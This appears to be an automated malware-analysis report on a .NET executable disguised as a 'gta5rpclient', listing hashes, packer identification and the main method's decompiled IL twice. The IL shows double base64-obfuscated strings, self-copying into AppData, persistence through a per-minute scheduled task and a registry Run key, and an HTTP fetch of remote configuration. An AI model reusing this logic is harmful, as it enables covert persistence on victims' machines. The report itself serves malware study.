a6ab0e0bd357492df4dce90fd3a626c8

PE Executable
|
MD5: a6ab0e0bd357492df4dce90fd3a626c8
|
Size: 1.51 MB
|
application/x-dosexec

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	a6ab0e0bd357492df4dce90fd3a626c8
Sha1	1e58033c91f9d071b8b58f2f66cce468bcd4d924
Sha256	ac0ea1bec62ff284b78817402fda9168abf6171bdea078f812c24fb22bfcd311
Sha384	50aa88cda94101a78e40b5ebc35e74653b6e6df76652dc23739f0154c9d9302ae5693f1fb48bb3b7510399306181a505
Sha512	43ca93b69575c516590ea8768f9e3d9a1170945b5b872b3651a7aca4866e0a5054f4d6b137470df2c12184a4dcff80c7c845f8e97c291439d8aaae61c63d62ba
SSDeep	24576:Vw3pP7XEMlnM/IMYWHOErOJfYHAdtkvKJ:Vc0/GPfv
TLSH	9465BE2479BB50489977FF613EDCBAEADCEF2A3268059057104117079A22AD0EF13D7E

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	microsoft
Full Name	microsoft
EntryPoint	System.Void KMXBHGD.UXVuR::YR6aMJSonivkro20aSKN()
Scope Name	microsoft
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	gta5rpclient
Assembly Version	0.2.0.315
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	393
Main Method	System.Void KMXBHGD.UXVuR::YR6aMJSonivkro20aSKN()
Main IL Instruction Count	328
Main IL	call System.Void KMXBHGD.OBBgW::aaso6UzURZEtco8bN6qm() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void KMXBHGD.NSJCZKln::DWOejGVsoGyTQrXzsmII() call System.Boolean KMXBHGD.NBPZm::9FFP8xVb888dUOpzK8A1() brtrue IL_0024: ldc.i4.3 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldc.i4.3 <null> stloc.3 <null> ldc.i4.4 <null> stloc.s V_4 ldloc.3 <null> ldloc.s V_4 add.ovf <null> stloc.s V_5 ldloc.s V_5 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WEE9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_6 ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl ldloc.s V_6 call System.Void System.IO.File::Copy(System.String,System.String) ldloc.s V_6 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_7 ldloc.s V_7 ldc.i4 128 callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes) leave IL_00A4: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_00A4: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WVhCd1pHRjBZUT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stloc.0 <null> ldloc.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WEE9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl ldloc.1 <null> call System.Void System.IO.File::Copy(System.String,System.String) leave IL_0127: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0127: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YzJOb2RHRnphM011WlhobA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_11 ldloc.s V_11 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_11 ldc.i4.5 <null> newarr System.String stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TDJOeVpXRjBaU0F2WmlBdmMyTWdiV2x1ZFhSbElDOXRieUF4SUM5MGJpQWk= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_21 ldc.i4.1 <null> ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_21 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr SWlBdmRISWdJZz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_21 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_21 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr SWc9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_21 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_11 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_10 ldloc.s V_10 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_0226: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0226: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WVhCd1pHRjBZUT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WEE9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_13 call My.MyComputer My.MyProject::jSfP01poz1QOQo2Ni5Uv() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VTA5R1ZGZEJVa1ZjVFdsamNtOXpiMlowWEZkcGJtUnZkM05jUTNWeWNtVnVkRlpsY25OcGIyNWNVblZ1 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.s V_13 callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl ldloc.s V_13 call System.Void System.IO.File::Copy(System.String,System.String) leave IL_02F4: ldsfld System.Boolean KMXBHGD.DwaV::TmFhIlLux7R8eVkzmPtL dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_14 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_02F4: ldsfld System.Boolean KMXBHGD.DwaV::TmFhIlLux7R8eVkzmPtL ldsfld System.Boolean KMXBHGD.DwaV::TmFhIlLux7R8eVkzmPtL brfalse IL_0474: ldnull ldc.i4 4032 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) ldsfld System.String KMXBHGD.DwaV::ybTPRFgNC45HpbXkjOvl call System.Net.WebRequest System.Net.WebRequest::Create(System.String) castclass System.Net.HttpWebRequest stloc.s V_15 ldloc.s V_15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr UjBWVQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) callvirt System.Void System.Net.HttpWebRequest::set_Method(System.String) ldloc.s V_15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VFc5NmFXeHNZUzgxTGpBPQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) callvirt System.Void System.Net.HttpWebRequest::set_UserAgent(System.String) ldloc.s V_15 callvirt System.Net.WebResponse System.Net.HttpWebRequest::GetResponse() castclass System.Net.HttpWebResponse stloc.s V_16 ldloc.s V_16 callvirt System.IO.Stream System.Net.HttpWebResponse::GetResponseStream() newobj System.Void System.IO.StreamReader::.ctor(System.IO.Stream) stloc.s V_17 ldloc.s V_17 callvirt System.String System.IO.StreamReader::ReadLine() stloc.s V_18 br IL_0421: ldloc.s V_18 ldloc.s V_18 call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue IL_0418: ldloc.s V_17 ldloc.s V_18 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr T2c9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) callvirt System.Boolean System.String::Contains(System.String) brfalse IL_0418: ldloc.s V_17 ldloc.s V_18 ldc.i4.1 <null> newarr System.Char stloc.s V_22 ldloc.s V_22 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_22 ldc.i4.2 <null> callvirt System.String[] System.String::Split(System.Char[],System.Int32) stloc.s V_19 ldloc.s V_19 ldlen <null> conv.ovf.i4 <null> ldc.i4.2 <null> bne.un IL_0418: ldloc.s V_17 ldloc.s V_19 ldc.i4.0 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stsfld System.String KMXBHGD.DwaV::PlJohsKP5sWKOnkh0sh6 ldloc.s V_19 ldc.i4.1 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stsfld System.String KMXBHGD.DwaV::6MbbzJzMyu5fAD2jXjsz ldloc.s V_17 callvirt System.String System.IO.StreamReader::ReadLine() stloc.s V_18 ldloc.s V_18 brtrue IL_039B: ldloc.s V_18 leave IL_043C: leave IL_0450 ldloc.s V_17 brfalse IL_043B: endfinally ldloc.s V_17 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_0450: leave IL_0474 ldloc.s V_16 brfalse IL_044F: endfinally ldloc.s V_16 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_0474: ldnull dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_20 ldloc.s V_20 callvirt System.String System.Exception::get_Message() call System.Windows.Forms.DialogResult System.Windows.Forms.MessageBox::Show(System.String) pop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0474: ldnull ldnull <null> ldftn System.Void KMXBHGD.UXVuR::CghQA65SGnZW9CWbqPkM() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	microsoft
Full Name	microsoft
EntryPoint	System.Void KMXBHGD.UXVuR::YR6aMJSonivkro20aSKN()
Scope Name	microsoft
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	gta5rpclient
Assembly Version	0.2.0.315
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	393
Main Method	System.Void KMXBHGD.UXVuR::YR6aMJSonivkro20aSKN()
Main IL Instruction Count	328
Main IL	call System.Void KMXBHGD.OBBgW::aaso6UzURZEtco8bN6qm() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void KMXBHGD.NSJCZKln::DWOejGVsoGyTQrXzsmII() call System.Boolean KMXBHGD.NBPZm::9FFP8xVb888dUOpzK8A1() brtrue IL_0024: ldc.i4.3 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldc.i4.3 <null> stloc.3 <null> ldc.i4.4 <null> stloc.s V_4 ldloc.3 <null> ldloc.s V_4 add.ovf <null> stloc.s V_5 ldloc.s V_5 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WEE9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_6 ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl ldloc.s V_6 call System.Void System.IO.File::Copy(System.String,System.String) ldloc.s V_6 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_7 ldloc.s V_7 ldc.i4 128 callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes) leave IL_00A4: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_00A4: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WVhCd1pHRjBZUT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stloc.0 <null> ldloc.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WEE9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl ldloc.1 <null> call System.Void System.IO.File::Copy(System.String,System.String) leave IL_0127: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0127: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YzJOb2RHRnphM011WlhobA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_11 ldloc.s V_11 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_11 ldc.i4.5 <null> newarr System.String stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TDJOeVpXRjBaU0F2WmlBdmMyTWdiV2x1ZFhSbElDOXRieUF4SUM5MGJpQWk= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_21 ldc.i4.1 <null> ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_21 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr SWlBdmRISWdJZz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_21 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_21 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr SWc9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_21 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_11 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_10 ldloc.s V_10 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_0226: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0226: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WVhCd1pHRjBZUT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr WEE9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_13 call My.MyComputer My.MyProject::jSfP01poz1QOQo2Ni5Uv() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VTA5R1ZGZEJVa1ZjVFdsamNtOXpiMlowWEZkcGJtUnZkM05jUTNWeWNtVnVkRlpsY25OcGIyNWNVblZ1 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.s V_13 callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) ldsfld System.String KMXBHGD.DwaV::m1P66I1lSLtTmnyyNMEl ldloc.s V_13 call System.Void System.IO.File::Copy(System.String,System.String) leave IL_02F4: ldsfld System.Boolean KMXBHGD.DwaV::TmFhIlLux7R8eVkzmPtL dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_14 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_02F4: ldsfld System.Boolean KMXBHGD.DwaV::TmFhIlLux7R8eVkzmPtL ldsfld System.Boolean KMXBHGD.DwaV::TmFhIlLux7R8eVkzmPtL brfalse IL_0474: ldnull ldc.i4 4032 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) ldsfld System.String KMXBHGD.DwaV::ybTPRFgNC45HpbXkjOvl call System.Net.WebRequest System.Net.WebRequest::Create(System.String) castclass System.Net.HttpWebRequest stloc.s V_15 ldloc.s V_15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr UjBWVQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) callvirt System.Void System.Net.HttpWebRequest::set_Method(System.String) ldloc.s V_15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VFc5NmFXeHNZUzgxTGpBPQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) callvirt System.Void System.Net.HttpWebRequest::set_UserAgent(System.String) ldloc.s V_15 callvirt System.Net.WebResponse System.Net.HttpWebRequest::GetResponse() castclass System.Net.HttpWebResponse stloc.s V_16 ldloc.s V_16 callvirt System.IO.Stream System.Net.HttpWebResponse::GetResponseStream() newobj System.Void System.IO.StreamReader::.ctor(System.IO.Stream) stloc.s V_17 ldloc.s V_17 callvirt System.String System.IO.StreamReader::ReadLine() stloc.s V_18 br IL_0421: ldloc.s V_18 ldloc.s V_18 call System.Boolean System.String::IsNullOrWhiteSpace(System.String) brtrue IL_0418: ldloc.s V_17 ldloc.s V_18 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr T2c9PQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) callvirt System.Boolean System.String::Contains(System.String) brfalse IL_0418: ldloc.s V_17 ldloc.s V_18 ldc.i4.1 <null> newarr System.Char stloc.s V_22 ldloc.s V_22 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_22 ldc.i4.2 <null> callvirt System.String[] System.String::Split(System.Char[],System.Int32) stloc.s V_19 ldloc.s V_19 ldlen <null> conv.ovf.i4 <null> ldc.i4.2 <null> bne.un IL_0418: ldloc.s V_17 ldloc.s V_19 ldc.i4.0 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stsfld System.String KMXBHGD.DwaV::PlJohsKP5sWKOnkh0sh6 ldloc.s V_19 ldc.i4.1 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stsfld System.String KMXBHGD.DwaV::6MbbzJzMyu5fAD2jXjsz ldloc.s V_17 callvirt System.String System.IO.StreamReader::ReadLine() stloc.s V_18 ldloc.s V_18 brtrue IL_039B: ldloc.s V_18 leave IL_043C: leave IL_0450 ldloc.s V_17 brfalse IL_043B: endfinally ldloc.s V_17 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_0450: leave IL_0474 ldloc.s V_16 brfalse IL_044F: endfinally ldloc.s V_16 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_0474: ldnull dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_20 ldloc.s V_20 callvirt System.String System.Exception::get_Message() call System.Windows.Forms.DialogResult System.Windows.Forms.MessageBox::Show(System.String) pop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0474: ldnull ldnull <null> ldftn System.Void KMXBHGD.UXVuR::CghQA65SGnZW9CWbqPkM() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

a6ab0e0bd357492df4dce90fd3a626c8 (1.51 MB)

a6ab0e0bd357492df4dce90fd3a626c8

PE Executable | MD5: a6ab0e0bd357492df4dce90fd3a626c8 | Size: 1.51 MB | application/x-dosexec

PE Executable
|
MD5: a6ab0e0bd357492df4dce90fd3a626c8
|
Size: 1.51 MB
|
application/x-dosexec